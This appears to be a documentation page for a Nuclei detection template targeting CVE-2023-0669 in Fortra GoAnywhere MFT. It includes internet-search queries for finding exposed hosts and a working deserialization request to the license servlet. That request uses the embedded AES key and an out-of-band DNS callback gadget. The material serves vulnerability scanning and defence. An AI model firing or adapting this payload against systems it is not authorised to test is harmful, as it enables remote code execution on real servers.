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Fortra GoAnywhere MFT - Remote Code Execution

ID: CVE-2023-0669

Severity: high

Author: rootxharsh,iamnoooob,dhiyaneshdk,pdresearch

Tags: cve2023,cve,rce,goanywhere,oast,kev,fortra

Description

Section titled “Description”

Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.

YAML Source

Section titled “YAML Source”
id: CVE-2023-0669


info:
  name: Fortra GoAnywhere MFT - Remote Code Execution
  author: rootxharsh,iamnoooob,dhiyaneshdk,pdresearch
  severity: high
  description: |
    Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
    - https://infosec.exchange/@briankrebs/109795710941843934
    - https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0669
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-0669
    cwe-id: CWE-502
    epss-score: 0.96969
    epss-percentile: 0.99729
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query:
      - http.favicon.hash:1484947000
      - http.favicon.hash:1484947000,1828756398,1170495932
    fofa-query:
      - app="goanywhere-mft"
      - icon_hash=1484947000
      - icon_hash=1484947000,1828756398,1170495932
    zoomeye-query: app="fortra goanywhere-mft"
  tags: cve2023,cve,rce,goanywhere,oast,kev,fortra


http:
  - raw:
      - |
        POST /goanywhere/lic/accept HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded


        bundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA==")))), '$2')}}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: body
        words:
          - 'GoAnywhere'


      - type: status
        status:
          - 500
# digest: 4b0a00483046022100f8a55fbbb5605e2e9bbf381595dfc0b477a7d44203963fb2dff4f39e617aa7340221008025903e3cb1d1d62b6689afe8128eb75d132c722c941cccb03911d66cc93d67:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0669.yaml"

View on Github